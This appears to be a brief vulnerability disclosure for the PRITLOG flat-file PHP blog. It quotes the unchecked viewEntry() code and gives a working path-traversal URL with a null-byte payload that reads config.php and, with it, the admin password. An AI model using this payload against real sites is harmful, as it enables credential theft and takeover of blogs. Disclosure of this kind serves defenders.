-- Description (by the author's page) --  
PRITLOG is an extremely simple, small and powerful blog system. It does not   
use or need a MYSQL database and fully works based on flat files. The idea   
is derived from a similar app called PPLOG.  
  
-- Bug --  
You can navigate and see the entries. Something like as:  
http://localhost/p/index.php?option=viewEntry&filename=00001  
  
Code doesn't check the comments directory:  
  
709. function viewEntry() {  
710. $fileName = isset($_POST['filename'])?$_POST['filename']:$_GET['filename'];  
711. global $postdir, $separator, $newPostFile, $newFullPostNumber, $debugMode, $config_textAreaCols, $config_textAreaRows;  
712. global $config_allowComments, $config_commentsSecurityCode, $config_CAPTCHALength, $config_randomString;  
713. global $commentdir,$config_dbFilesExtension, $config_onlyNumbersOnCAPTCHA;  
714. $viewFileName=$postdir.$fileName.$config_dbFilesExtension;  
  
  
-- Exploit --  
If magic quotes are off you can do:  
http://localhost/p/index.php?option=viewEntry&filename=../config.php%00  
  
config.php has the admin password
